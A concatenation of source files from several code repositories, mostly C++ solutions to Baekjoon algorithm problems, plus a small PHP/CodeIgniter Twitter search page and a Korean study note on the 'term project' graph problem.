}
});
return false;
}
}
|
2c974c0a2c382d8b4ae2b5ee0e81e8bc85ad2a19
|
[
"Java"
] | 5 |
Java
|
shivamd20/MyDiary-android
|
56344bcaf8b1a68339b1c4d4fcd5d0b288cb45ed
|
792c6b7b4f4777184c4da9c880d55dba587ba90a
|
refs/heads/master
|
<file_sep>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="language" content="en" />
<title>Complex Layout Demo</title>
<!-- DEMO styles - specific to this page -->
<link rel="stylesheet" type="text/css" href="<?php echo base_url(); ?>application/views/css/complex.css" />
<!--[if lte IE 7]>
<style type="text/css"> body { font-size: 85%; } </style>
<![endif]-->
<script type="text/javascript" src="<?php echo base_url(); ?>application/views/js/jquery.js"></script>
<script type="text/javascript" src="<?php echo base_url(); ?>application/views/js/jquery.layout-latest.js"></script>
<script type="text/javascript" src="<?php echo base_url(); ?>application/views/js/complex.js"></script>
<!--<script type="text/javascript" src="/lib/js/debug.js"></script> -->
<script type="text/javascript">
</script>
<style type="text/css">
.column {float: left; height: 100%;}
</style>
</head>
<body>
<div class="ui-layout-west">
<div class="header">Busqueda</div>
<div class="content">
<h3><b></b></h3>
<form id="form">
<input type="text" name="busqueda" id="busqueda">
<br>
<input type="button" name="buscar" id="buscar" value="Buscar">
</form>
</div>
<div class="footer">busqueda</div>
</div>
<div id="mainContent">
<!-- DIVs for the INNER LAYOUT -->
<div class="ui-layout-center">
<h3 class="header">Tweets</h3>
<div class="ui-layout-content" id="content_tweets">
<div class="column">1</div>
<div class="column">2</div>
<div class="column">3</div>
</div>
</div>
</div>
</body>
<script type="text/javascript">
$(document).ready(function() {
$('#buscar').click(function(event) {
event.preventDefault();
$.ajax({
method: "POST",
url: "<?php echo site_url(['inicio','searchTweets']) ?>",
data: { word: $('#busqueda').val()},
dataType: "json"
})
.done(function( data ) {
var cont =1;
var num=1;
var total=data.length;
var html ='<div class="column"><ul>';
$.each( data, function( key, val ) {
html += "<li id='" + num + "'>" + val.screen_name + ":"+ val.text+" </li>";
if (cont==10 ){
html+='</ul></div><div class="column">';
cont=1;
}
if(num==total){
html+='</ul></div>';
}
cont++;
num++;
});
//console.log(html);
$('#content_tweets').html(html);
});
});
});
</script>
</html> <file_sep><?php
defined('BASEPATH') OR exit('No direct script access allowed');
use Abraham\TwitterOAuth\TwitterOAuth;
class Inicio extends CI_Controller {
public function index()
{
/*$connection = new TwitterOAuth(CONSUMERKEY, CONSUMERSECRET, ACCESTOKEN, ACCESTOKENSECRET);
$content = $connection->get("account/verify_credentials");
$search=$connection->get('search/tweets', ['q'=>'ramsay']);*/
$this->load->helper('url');
$this->load->view('index_view');
}
public function searchTweets()
{
$word=$this->input->post('word');
$connection = new TwitterOAuth(CONSUMERKEY, CONSUMERSECRET, ACCESTOKEN, ACCESTOKENSECRET);
$content = $connection->get("account/verify_credentials");
#$content = $connection->get("account/verify_credentials");
$search=$connection->get('search/tweets', ['q'=>'ramsay']);
foreach ($search->statuses as $result) {
//echo $result->user->screen_name . ": " . $result->text . "<br>";
echo mb_detect_encoding(iconv("ASCII", "UTF-8//IGNORE", $result->text));
echo "<br>";
$tweets[]['screen_name']=utf8_encode($result->user->screen_name);
$tweets[]['text']=utf8_encode($result->text);
}
die;
echo json_encode($tweets);
}
public function unicode_to_utf8( $str ) {
$utf8 = '';
foreach( $str as $unicode ) {
if ( $unicode < 128 ) {
$utf8.= chr( $unicode );
} elseif ( $unicode < 2048 ) {
$utf8.= chr( 192 + ( ( $unicode - ( $unicode % 64 ) ) / 64 ) );
$utf8.= chr( 128 + ( $unicode % 64 ) );
} else {
$utf8.= chr( 224 + ( ( $unicode - ( $unicode % 4096 ) ) / 4096 ) );
$utf8.= chr( 128 + ( ( ( $unicode % 4096 ) - ( $unicode % 64 ) ) / 64 ) );
$utf8.= chr( 128 + ( $unicode % 64 ) );
} // if
} // foreach
return $utf8;
} // unicode_to_utf8
}
|
6afefbbf01c5c21ebed058a4b2eef74ddd75bc7b
|
[
"PHP"
] | 2 |
PHP
|
mogurbon/searchtweetdeck
|
256f3759183889fd5b4b62fd20b821ff3c8eb96e
|
3e7aa37c96d62d5e71699348e95698be2ead660d
|
refs/heads/master
|
<repo_name>foreverever/baekjoon<file_sep>/baekjoon/토마토(7576).cpp
//#include <iostream>
//#include <queue>
//#include <utility>
//#define MAX 1001
//using namespace std;
//int n, m;
//int box[MAX][MAX];
//int dy[4] = { -1,1,0,0 };
//int dx[4] = { 0,0,-1,1 };
//int days, cnt;
//queue <pair<int, int> > q;
//
//void bfs() {
// while (!q.empty()) {
// for (int i = 0; i < 4; i++) {
// int nY = q.front().first + dy[i];
// int nX = q.front().second + dx[i];
// if (nY < 0 || nX < 0 || nY >= n || nX >= m) continue;
// if (box[nY][nX] == 0) {
// box[nY][nX] = 1;
// q.push(make_pair(nY, nX));
// }
// }
// q.pop();
// cnt--;
// if (cnt == 0) {
// days++;
// cnt = q.size();
// }
// }
//}
//
//bool checkBox() {
// for (int i = 0; i < n; i++) {
// for (int j = 0; j < m; j++) {
// if (box[i][j] == 0) {
// return false;
// }
// }
// }
// return true;
//}
//
//int main() {
// cin >> m >> n;
// for (int i = 0; i < n; i++) {
// for (int j = 0; j < m; j++) {
// cin >> box[i][j];
// if (box[i][j] == 1) {
// q.push(make_pair(i, j));
// cnt++;
// }
// }
// }
// //시작지점에 대한 일수는 빼준다
// if (cnt > 0) {
// days--;
// }
// bfs();
// //기존 토마토가 모두 익었다면,
// if (checkBox()) {
// cout << days;
// }
// else {
// cout << -1;
// }
// return 0;
//}<file_sep>/baekjoon/누울 자리를 찾아라(1652).cpp
#include <iostream>
#include <utility>
#define RIGHT 0
#define DOWN 1
using namespace std;
int N;
char arr[101][101];
bool rightDir[101][101], downDir[101][101];
pair<int, int> ans;
void check(int y, int x, int dir) {
int len = 0;
if (dir == RIGHT) {
while (arr[y][x] != 'X' && x < N) {
rightDir[y][x] = true;
len++;
x++;
}
if (len >= 2) ans.first++;
}
else if (dir == DOWN) {
while (arr[y][x] != 'X' && y < N) {
downDir[y][x] = true;
len++;
y++;
}
if (len >= 2) ans.second++;
}
}
void findAns() {
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
if (rightDir[i][j] == false) check(i, j, RIGHT);
if (downDir[i][j] == false) check(i, j, DOWN);
}
}
}
int main() {
scanf("%d", &N);
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
scanf(" %c", &arr[i][j]);
}
}
findAns();
printf("%d %d", ans.first, ans.second);
return 0;
}<file_sep>/baekjoon/도서관(1461).cpp
#include <iostream>
#include <algorithm>
#include <vector>
#include <stdlib.h>
#include <queue>
#include <stack>
using namespace std;
int N, M;
int ans, maxVal;
vector <int> v;
queue <int> q;
stack <int> s;
void input() {
cin >> N >> M;
int x;
for (int i = 0; i < N; i++) {
cin >> x;
v.push_back(x);
}
}
void findAns() {
sort(v.begin(), v.end());
maxVal = abs(v.front()) > abs(v.back()) ? abs(v.front()) : abs(v.back());
for (int i = 0; i < v.size(); i++) {
if (v[i] < 0) {
q.push(abs(v[i]));
}
if (v[i] > 0) {
s.push(v[i]);
}
}
while (!q.empty()) {
ans += q.front() * 2;
for (int i = 0; i < M; i++) {
q.pop();
if (q.empty()) break;
}
}
while (!s.empty()) {
ans += s.top() * 2;
for (int i = 0; i < M; i++) {
s.pop();
if (s.empty()) break;
}
}
}
int main() {
input();
findAns();
cout << ans-maxVal;
return 0;
}<file_sep>/baekjoon/배부른 마라토너(10546).cpp
#include <iostream>
#include <map>
#include <string>
using namespace std;
int N;
map<string, int> m;
void input() {
cin >> N;
string name;
for (int i = 0; i < N; i++) {
cin >> name;
m[name]++;
}
for (int i = 0; i < N - 1; i++) {
cin >> name;
m[name]--;
}
}
void findAns() {
map<string, int>::iterator iter;
for (iter = m.begin(); iter != m.end(); iter++) {
if (iter->second != 0) {
cout << iter->first;
return;
}
}
}
int main() {
input();
findAns();
return 0;
}<file_sep>/baekjoon/단지번호붙이기(2667).cpp
//#include <iostream>
//#include <vector>
//#include <algorithm>
//#define MAX 26
//using namespace std;
//
//int N;
//int map[MAX][MAX];
//bool check[MAX][MAX];
//int dy[4] = { -1,1,0,0 };
//int dx[4] = { 0,0,-1,1 };
//vector <int> ans;
//int cnt;
//
//void dfs(int y, int x) {
// for (int i = 0; i < 4; i++) {
// int nextY = y + dy[i];
// int nextX = x + dx[i];
// if (nextY < 0 || nextX < 0 || nextY >= N || nextX >= N) continue;
// if (map[nextY][nextX] == 1 && check[nextY][nextX] == false) {
// check[nextY][nextX] = true;
// cnt++;
// dfs(nextY, nextX);
// }
// }
//}
//
//void findAns() {
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < N; j++) {
// if (map[i][j] == 1 && check[i][j] == false) {
// check[i][j] = true;
// cnt = 1;
// dfs(i, j);
// ans.push_back(cnt);
// }
// }
// }
//}
//
//int main() {
// cin >> N;
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < N; j++) {
// scanf("%1d", &map[i][j]);
// }
// }
// findAns();
// sort(ans.begin(), ans.end());
// cout << ans.size() << '\n';
// for (int i = 0; i < ans.size(); i++) {
// cout << ans[i] << '\n';
// }
// return 0;
//}<file_sep>/baekjoon/알파벳 거리(5218).cpp
#include <iostream>
#include <string>
#define ADDITION 26
using namespace std;
int N;
string first, second;
void findAns() {
int diff = 0;
for (int i = 0; i < first.size(); i++) {
diff = second[i] - first[i];
if (first[i] <= second[i]) cout << diff << ' ';
else cout << diff + ADDITION << ' ';
}
}
int main() {
ios_base::sync_with_stdio(false);
cin.tie(0);
cin >> N;
for (int i = 0; i < N; i++) {
cin >> first >> second;
cout << "Distances: "; findAns(); cout << '\n';
}
return 0;
}<file_sep>/baekjoon/10부제(10797).cpp
#include <iostream>
using namespace std;
int N;
int findAns() {
int x, cnt = 0;
for (int i = 0; i < 5; i++) {
cin >> x;
if (x==N) cnt++;
}
return cnt;
}
int main() {
cin >> N;
cout << findAns();
return 0;
}<file_sep>/baekjoon/플러그(2010).cpp
#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;
int N;
vector<int> v;
void input() {
cin >> N;
int x;
for (int i = 0; i < N; i++) {
cin >> x;
v.push_back(x);
}
}
bool cmp(int &a, int &b) {
return a > b;
}
int findAns() {
if (v.size() == 1) return v.front();
sort(v.begin(), v.end(), cmp);
int sum = v.front();
for (int i = 1; i < v.size(); i++) {
sum+=v[i]-1;
}
return sum;
}
int main() {
ios_base::sync_with_stdio(false);
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/swea_계산기(8338).cpp
#include <iostream>
using namespace std;
int tc, N, mx;
int number[10];
void input() {
for (int i = 0; i < N; i++) {
scanf("%d", &number[i]);
}
mx = number[0];
}
void dfs(int idx, int sum) {
if (idx == N) {
mx = mx < sum ? sum : mx;
return;
}
dfs(idx + 1, sum + number[idx]);
dfs(idx + 1, sum*number[idx]);
}
void findAns() {
input();
if (N == 1) return;
dfs(1, number[0]);
}
int main() {
scanf("%d", &tc);
for (int t = 1; t <= tc; t++) {
scanf("%d", &N);
findAns();
printf("#%d %d\n", t, mx);
}
return 0;
}<file_sep>/baekjoon/프로그래머스_다음 큰 숫자.cpp
#include <vector>
#define MAX 1000000
using namespace std;
int getCount(int n) {
vector<int> binary;
while (n) {
binary.push_back(n % 2);
n /= 2;
}
int cnt = 0;
for (int v : binary) {
if (v) cnt++;
}
return cnt;
}
int solution(int n) {
int answer = 0;
int origin = getCount(n);
for (int i = n + 1; i <= MAX; i++) {
if (getCount(i) == origin) {
answer = i;
break;
}
}
return answer;
}
//입력받은 숫자 n부터 1씩 증가한 숫자의 이진수를 구한 후,
//해당 이진수의 1의 개수가 n의 이진수의 1의 개수와 같은 최초의 숫자가 n 다음 큰 숫자가 된다.<file_sep>/baekjoon/텀 프로젝트(9466).cpp
#include <iostream>
using namespace std;
struct Node {
int next;
bool visited = false, isFinished = false;
Node(int next) {
this->next = next;
}
Node() {}
};
int tc, N, cnt;
Node nodes[100001];
void dfs(int cur) {
nodes[cur].visited = true;
int next = nodes[cur].next;
if (!nodes[next].visited) dfs(next);
else {
if (!nodes[next].isFinished) {
nodes[next].isFinished = true;
cnt++;
for (int k = next; k != cur; k = nodes[k].next) {
cnt++;
}
}
}
nodes[cur].isFinished = true;
}
int main() {
scanf("%d", &tc);
for (int t = 1; t <= tc; t++) {
scanf("%d", &N);
int x;
cnt = 0;
for (int i = 1; i <= N; i++) {
scanf("%d", &x);
nodes[i] = Node(x);
}
for (int i = 1; i <= N; i++) {
if (!nodes[i].visited) {
dfs(i);
}
}
printf("%d\n", N - cnt);
}
return 0;
}<file_sep>/TIL/2019-03-31(텀 프로젝트_9466).md
# [텀 프로젝트(9466번)](https://www.acmicpc.net/problem/9466)
## 문제
이번 가을학기에 '문제 해결' 강의를 신청한 학생들은 텀 프로젝트를 수행해야 한다. 프로젝트 팀원 수에는 제한이 없다. 심지어 모든 학생들이 동일한 팀의 팀원인 경우와 같이 한 팀만 있을 수도 있다. 프로젝트 팀을 구성하기 위해, 모든 학생들은 프로젝트를 함께하고 싶은 학생을 선택해야 한다. (단, 단 한 명만 선택할 수 있다.) 혼자 하고 싶어하는 학생은 자기 자신을 선택하는 것도 가능하다.
학생들이(s1, s2, ..., sr)이라 할 때, r=1이고 s1이 s1을 선택하는 경우나, s1이 s2를 선택하고, s2가 s3를 선택하고,..., sr-1이 sr을 선택하고, sr이 s1을 선택하는 경우에만 한 팀이 될 수 있다.
예를 들어, 한 반에 7명의 학생이 있다고 하자. 학생들을 1번부터 7번으로 표현할 때, 선택의 결과는 다음과 같다.
~~~
1 2 3 4 5 6 7 //자신의 번호
3 1 3 7 3 4 6 //선택한 학생 번호
~~~
위의 결과를 통해 (3)과 (4, 7, 6)이 팀을 이룰 수 있다. 1, 2, 5는 어느 팀에도 속하지 않는다.
주어진 선택의 결과를 보고 어느 프로젝트 팀에도 속하지 않는 학생들의 수를 계산하는 프로그램을 작성하라.
## 입력
첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스의 첫 줄에는 학생의 수가 정수 n (2 ≤ n ≤ 100,000)으로 주어진다. 각 테스트 케이스의 둘째 줄에는 선택된 학생들의 번호가 주어진다. (모든 학생들은 1부터 n까지 번호가 부여된다.)
## 풀이
dfs를 통해 방향 그래프를 탐색하는 문제이다. 한번의 dfs를 시작할때, 사이클의 유무를 판단하는 것이 이 문제의 핵심이다.
노드의 개수가 최대 10만이므로, 인접행렬로 그래프를 표현하면 시간초과가 난다. 하나의 노드는 또 다른 하나의 노드만을 가리킬 수 있으므로, 구조체 타입의 노드를 담는 일차원 배열(최대 크기 10만)을 사용하도록 했다.
만약 사이클을 이루는 노드의 개수를 cnt이라고 하면, 전체 노드의 개수인 N에서 cnt를 빼면 사이클이 아닌 노드의 개수, 즉 문제의 정답을 구할 수 있다.
노드 구조체
~~~
struct Node {
int next;
bool visited = false, isFinished = false;
Node(int next) {
this->next = next;
}
Node() {}
};
~~~
여기서 중요한 것은 방문체크 뿐만 아니라, 사이클 판단을 위해 isFinised라는 변수를 하나 더 선언한 것이다. 이 친구의 역할은 다음과 같다.
1. 시작 노드를 포함한 사이클이 존재하는 경우
2. 시작 노드를 포함하지 않고, 시작 노드가 가리키는 노드를 (혹은 그 노드가 또 다시 가리키는//반복) 포함한 사이클이 존재하는 경우
1번의 경우 탐색의 마지막은 시작노드 자기 자신이 되므로, 이미 시작에서 방문체크를 true한 이후다. 이는, 하나의 사이클이 종료되는 시점이며, isFinished가 false라면, 다시 한번 사이클을 돌면서 사이클을 이루는 노드들의 개수를 세도록 하면 된다.
2번의 경우 사이클을 이루는 첫 번째 노드는 1번의 로직을 따르게 된다. 그러나, 시작 노드를 포함한 사이클을 이루지 않는 노드들은 팀을 이룰 수 없으므로, 다음 dfs탐색 시에 고려하지 않도록 isFinished를 true로 바꿔주어야 한다.
결론은, isFinished가 true인 노드는 더 이상 사이클 유무를 판단할 필요가 없는 노드를 의미하는 것이다.
## [소스코드](https://github.com/foreverever/baekjoon/blob/master/baekjoon/%ED%85%80%20%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8(9466).cpp)
## 부족한 부분
이틀을 넘게 시간초과로 인해 풀지 못했던 문제이다. 기존 방식은 모든 노드를 dfs를 돌게 끔 했었다.
사이클을 이루는 첫번째 노드만 체크를 하다보니 중복해서 dfs탐색을 하는 경우가 발생했다.
이를 해결하기위해 isFinished라는 변수 하나를 더 생성했다. 사실, 인터넷에 힌트를 보고 구현하였다. (도저히 생각이 안나기에..ㅠㅠ) 그래프의 사이클 판단을 어떻게 해야 할지 감을 못잡았던 것 같다. 다양한 유형의 그래프 문제를 자주 풀도록 해야겠다.
## 내일 할 일
- 삼성 알고리즘 1문제
- 인적성 공부
- 웹 공부<file_sep>/baekjoon/피시방 알바(1453).cpp
#include <iostream>
using namespace std;
int N;
bool isReserved[101];
int findAns() {
int cnt = 0, x;
for (int i = 0; i < N; i++) {
cin >> x;
if (!isReserved[x]) {
isReserved[x] = true;
continue;
}
cnt++;
}
return cnt;
}
int main() {
ios_base::sync_with_stdio(false);
cin >> N;
cout << findAns();
return 0;
}<file_sep>/baekjoon/대회 or 인턴(2875).cpp
#include <iostream>
using namespace std;
int fm, m, k;
int findAns() {
int cnt = 0;
while (fm >= 2 && m >= 1) {
fm -= 2;
m--;
if (fm + m < k || fm < 0 || m < 0) break;
cnt++;
}
return cnt;
}
int main() {
cin >> fm >> m >> k;
cout << findAns();
return 0;
}
//여자 2명, 남자 1명 이상인 경우에 대해
//하나의 팀을 구성(여자 -=2, 남자 -=1)
//구성 후 다음 조건을 만족하면 팀을 구성 못한다는 의미
// 1) 여자,남자의 합이 인턴 수 보다 작은 경우
// 2) 여자의 수가 0보다 작은 경우
// 3) 남자의 수가 0보다 작은 경우
//위 조건을 만족하지 않는 경우, 앞서 하나의 팀을 구성한 것이 유효하므로 팀 개수 1 증가<file_sep>/baekjoon/아기상어(16236).cpp
#include <iostream>
#include <queue>
#include <string.h>
using namespace std;
struct Pos {
int y, x;
};
struct Fish {
int eat = 0, dist = 0; //eat : 현재 크기에서 아기상어가 먹은 물고기 개수
int y, x, size;
Fish(int y, int x, int dist, int size) {
this->y = y;
this->x = x;
this->dist = dist; //아기상어로부터 최소 거리
this->size = size; //아기상어 혹은 물고기의 크기
}
Fish() {}
};
int arr[21][21], dist[21][21];
bool visit[21][21];
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
int N;
queue<Pos> q;
Fish shark;
struct cmp {
bool operator()(Fish &f1, Fish &f2) {
if (f1.dist == f2.dist) {
if (f1.y == f2.y) {
return f1.x > f2.x;
}
return f1.y > f2.y;
}
return f1.dist > f2.dist;
}
};
bool bfs() {
q.push({ shark.y,shark.x });
visit[shark.y][shark.x] = true;
priority_queue<Fish, vector<Fish>, cmp> pq;
while (!q.empty()) {
Pos cur = q.front();
q.pop();
for (int k = 0; k < 4; k++) {
int my = cur.y + dy[k];
int mx = cur.x + dx[k];
if (my < 0 || mx < 0 || my >= N || mx >= N) continue;
if (visit[my][mx] == false && arr[my][mx] <= shark.size) {
visit[my][mx] = true;
dist[my][mx] = dist[cur.y][cur.x] + 1;
q.push({ my,mx });
if (arr[my][mx] > 0 && arr[my][mx] < shark.size) {
pq.push(Fish(my, mx, dist[my][mx], arr[my][mx]));
}
}
}
}
if (!pq.empty()) { //우선순위 큐 맨 앞의 물고기가 현재 아기상어가 가장 먼저 먹을 수 있는 물고기
Fish food = pq.top();
arr[shark.y][shark.x] = 0;
shark.y = food.y;
shark.x = food.x;
shark.dist += food.dist;
if (++shark.eat == shark.size) {
shark.size++;
shark.eat = 0; //상어 크기 1 증가 시, 지금까지 먹은 개수 초기화
}
memset(dist, 0, sizeof(dist));
memset(visit, false, sizeof(visit));
return true;
}
return false;
}
int main() {
scanf("%d", &N);
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
scanf("%d", &arr[i][j]);
if (arr[i][j] == 9) {
shark.size = 2;
shark.y = i;
shark.x = j;
}
}
}
while (bfs());
printf("%d", shark.dist);
return 0;
}<file_sep>/baekjoon/매일프로그래밍(09_22_2019).cpp
//"./"과 "../" 이 포함된 파일 경로를 "./"과 "../"이 없는 유닉스 파일 경로로 바꾸시오.
//"./"는 현재의 위치를 뜻하고, "../"는 상위 디렉토리를 뜻합니다.
//input: "/usr/bin/../"
//output : "/usr/"
//
//input : "/usr/./bin/./test/../"
//output : "/usr/bin/"
#include <iostream>
#include <string>
#include <stack>
#include <vector>
using namespace std;
vector<string> split(string &str, char standard) {
vector<string> v;
string tmp = "";
for (char c : str) {
if (c == standard) {
v.push_back(tmp);
tmp = "";
continue;
}
tmp += c;
}
v.push_back(tmp);
return v;
}
void findAns(string &input) {
stack<string> st, ans;
vector<string> dir = split(input, '/');
for (string s : dir) {
if (s == "") continue;
st.push(s);
}
while (!st.empty()) {
string top = st.top(); st.pop();
if (top == ".") continue;
if (top == "..") st.pop();
else ans.push(top);
}
while (!ans.empty()) {
cout << '/' << ans.top();
ans.pop();
}
cout << '/';
}
int main() {
string input = "";
cin >> input;
findAns(input);
return 0;
}<file_sep>/baekjoon/쉽게 푸는 문제(1292).cpp
#include <iostream>
#include <vector>
using namespace std;
vector<int> number;
void init(int e) {
int cnt = 1;
while (number.size() <= e) {
for (int i = 0; i < cnt; i++) {
number.push_back(cnt);
}
cnt++;
}
}
int findAns(int s, int e) {
init(e);
int sum = 0;
for (int i = s - 1; i < e; i++) sum += number[i];
return sum;
}
int main() {
int s, e;
cin >> s >> e;
cout << findAns(s, e);
return 0;
}<file_sep>/baekjoon/골드바흐의 추측(6588).cpp
#include <iostream>
#include <map>
#include<vector>
#include <utility>
#define MAX 1000000
using namespace std;
int n;
bool number[1000001];
map<int, bool> prime;
map<int, bool>::iterator iter;
bool isPrime(int n) {
int cnt = 0;
for (int i = 2; i <= n; i++) {
if (n%i == 0) cnt++;
}
return cnt == 1;
}
void erase(int n) {
for (int i = 1; i*n <= MAX; i++) {
if (number[i*n] == false) {
number[i*n] = true;
}
}
}
void getPrime() {
for (int i = 2; i <= MAX; i++) {
if (number[i] == false) {
prime[i] = true;
erase(i);
}
}
prime.erase(2);
}
int main() {
for (int i = 3; i <= MAX; i++) {
number[i] = false;
}
getPrime();
while (1) {
int a = 0, b = 0;
scanf("%d", &n);
if (n == 0) break;
for (iter = prime.begin(); iter != prime.end(); iter++) {
if (prime.count(n - iter->first)) {
a = iter->first;
b = n - iter->first;
printf("%d = %d + %d\n", n, a, b);
break;
}
if (n <= iter->first) {
printf("%s\n", "Goldbach's conjecture is wrong.");
break;
}
}
}
return 0;
}<file_sep>/baekjoon/알파벳(1987).cpp
//#include <iostream>
//#include <vector>
//#define MAX 20
//
//using namespace std;
//
//char board[MAX][MAX];
//int N, M;
//int maxCnt = 1;
//int dy[4] = { -1,1,0,0 };
//int dx[4] = { 0,0,-1,1 };
//vector <char> alphabet;
//
////범위 체크
//bool isNotInside(int i, int j) {
// if (i < 0 || j < 0 || i >= N || j >= M) {
// return true;
// }
// return false;
//}
//
////방문 가능 체크
//bool isPossibleVisit(int i, int j) {
// for (int k = 0; k < alphabet.size(); k++) {
// if (board[i][j] == alphabet[k]) {
// return false;
// }
// }
// return true;
//}
//
////방문 횟수 최대값 찾기
//void findMax(int cnt) {
// maxCnt = cnt > maxCnt ? cnt : maxCnt;
//}
//
////보드칸 초기화
//void initBoard() {
// cin >> N >> M;
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < M; j++) {
// cin >> board[i][j];
// }
// }
// alphabet.push_back(board[0][0]);
//}
//
////DFS
//void dfs(int i, int j, int cnt) {
// for (int k = 0; k < 4; k++) {
// int y = i + dy[k];
// int x = j + dx[k];
// if (isNotInside(y, x)) continue;
// if (isPossibleVisit(y, x)) {
// alphabet.push_back(board[y][x]);
// findMax(cnt + 1);
// dfs(y, x, cnt + 1);
// alphabet.pop_back();
// }
// }
// return;
//}
//
//int main() {
// initBoard();
// dfs(0, 0, 1);
// cout << maxCnt;
// return 0;
//}<file_sep>/baekjoon/영수증(5565).cpp
#include <iostream>
#define MAX 9
using namespace std;
int total;
int findAns() {
int n = 0;
for (int i = 0; i < MAX; i++) {
cin >> n;
total -= n;
}
return total;
}
int main() {
cin >> total;
cout << findAns();
return 0;
}<file_sep>/baekjoon/문자열 반복(2675).cpp
#include <iostream>
#include <string>
using namespace std;
int tc, n;
string str;
void findAns() {
for (char var : str) {
for (int i = 0; i < n; i++) {
cout << var;
}
}
cout << '\n';
}
int main() {
cin >> tc;
for (int t = 1; t <= tc; t++) {
cin >> n >> str;
findAns();
}
return 0;
}<file_sep>/baekjoon/로봇 청소기(14503).cpp
#include <iostream>
#include <map>
#define NORTH 0
#define EAST 1
#define SOUTH 2
#define WEST 3
using namespace std;
struct Cleaner {
int y, x, dir, clear = 0, check = 0;
Cleaner(int y, int x, int dir) {
this->y = y;
this->x = x;
this->dir = dir;
}
Cleaner() {}
};
struct Pos {
int y, x;
};
int N, M;
int arr[51][51];
bool visit[51][51];
map<int, Pos> direction, back;
Cleaner cleaner;
void findAns() {
visit[cleaner.y][cleaner.x] = true;
cleaner.clear++;
//하나의 방향에 대해
while (1) {
int nDir = (cleaner.dir + 3) % 4; //현재 방향의 왼쪽
int ny = cleaner.y + direction[nDir].y; //다음 y좌표
int nx = cleaner.x +direction[nDir].x; //다음 x좌표
//다음 위치를 청소할 수 있다면
if (visit[ny][nx] == false && arr[ny][nx] == 0) {
visit[ny][nx] = true;
cleaner.y = ny; cleaner.x = nx; cleaner.dir = nDir;
cleaner.clear++;
cleaner.check = 0;
}
else {
cleaner.check++;
cleaner.dir = nDir;
}
//모든 방향 못간다면
if (cleaner.check == 4) {
//뒤에 벽이 있다면 종료
int by = cleaner.y + back[cleaner.dir].y;
int bx = cleaner.x + back[cleaner.dir].x;
if (arr[by][bx] == 1) return;
//아니면 뒤로 이동
cleaner.y = by;
cleaner.x = bx;
cleaner.check = 0;
}
}
}
int main() {
int y, x, dir;
scanf("%d %d", &N, &M);
scanf("%d %d %d", &y, &x, &dir);
cleaner = Cleaner(y, x, dir);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf("%d", &arr[i][j]);
}
}
//다음 방향 좌표 갱신값 초기화
direction[NORTH] = { -1,0 };
direction[EAST] = { 0,1 };
direction[SOUTH] = { 1,0 };
direction[WEST] = { 0,-1 };
//현재 위치 기준으로 뒤로 돌아가는 좌표 갱신값 초기화
back[NORTH] = { 1,0 };
back[EAST] = { 0,-1 };
back[SOUTH] = { -1,0 };
back[WEST] = { 0,1 };
findAns();
printf("%d", cleaner.clear);
return 0;
}<file_sep>/baekjoon/Doubles(4641).cpp
#include <iostream>
#include <string.h>
#include <queue>
using namespace std;
bool isExist[101];
int calcCount(queue<int> &q) {
int cnt = 0, val;
while (!q.empty()) {
val = q.front(); q.pop();
if (isExist[val * 2]) cnt++;
}
return cnt;
}
void findAns() {
int x = 101;
queue<int> q;
while (1) {
while (1) {
cin >> x;
if (x == -1) return;
if (x == 0) break;
q.push(x);
isExist[x] = true;
}
cout << calcCount(q) << '\n';
memset(isExist, false, sizeof(isExist));
}
}
int main() {
findAns();
return 0;
}<file_sep>/baekjoon/프로그래머스_숫자의 표현.cpp
#include <string>
#include <vector>
using namespace std;
int number[10001];
void init(int n) {
for (int i = 1; i <= n; i++) number[i] = i;
}
int solution(int n) {
int answer = 0;
init(n);
int sum = 1, s = 1, e = 1;
while (e <= n) {
if (sum == n) {
answer++;
sum -= number[s++];
}
else if (sum < n) sum += number[++e];
else sum -= number[s++];
}
return answer;
}<file_sep>/baekjoon/핸드폰 번호 가리기(프로그래머스).cpp
#include <iostream>
#include <string>
#include <vector>
using namespace std;
string solution(string phone_number) {
string answer = "";
string back_number = phone_number.substr(phone_number.size() - 4);
for (int i = 0; i < phone_number.size()-4; i++) {
answer += "*";
}
answer += back_number;
return answer;
}
int main() {
cout << solution("01033334444");
return 0;
}<file_sep>/baekjoon/달팽이는 올라가고 싶다(2869).cpp
#include <iostream>
using namespace std;
int A, B, V;
int findAns() {
int move = A - B; //하루 이동거리 (낮,밤 모두)
V -= A; //마지막은 무조건 낮, 해당 일 수 빼줌
if (V%move) {
return V / move + 2; //나머지가 있을 경우, 나머지로 인해 하루 더 걸리므로 이틀치 추가
}
return V / move + 1; //아니면 하루치 추가
}
int main() {
cin >> A >> B >> V;
cout << findAns();
return 0;
}<file_sep>/baekjoon/스타트와 링크(14889).cpp
#include <iostream>
#include <math.h>
using namespace std;
int N, half, ans = 2e9;
int arr[21][21], a[11], b[11];
bool used[21];
void divide(int cnt, int idx) {
if (cnt == half) {
int aSum = 0, bSum = 0, aSize = 0, bSize=0;
for (int i = 1; i <= N; i++) {
if (used[i] == true) {
a[aSize++] = i;
}
else b[bSize++] = i;
}
for (int i = 0; i < half; i++) {
for (int j = 0; j < half; j++) {
if (i == j) continue;
aSum += arr[a[i]][a[j]];
bSum += arr[b[i]][b[j]];
}
}
int diff = abs(aSum - bSum);
ans = ans > diff ? diff : ans;
return;
}
for (int i = idx; i <= N; i++) {
if (used[i] == false) {
used[i] = true;
divide(cnt + 1, i + 1);
used[i] = false;
}
}
}
int main() {
scanf("%d", &N);
half = N / 2;
for (int i = 1; i <= N; i++) {
for (int j = 1; j <= N; j++) {
scanf("%d", &arr[i][j]);
}
}
used[1] = true; //1을 먼저 선택하고, 나머지 경우의 수만 구하면 전체 경우의 수의 절반이 된다.
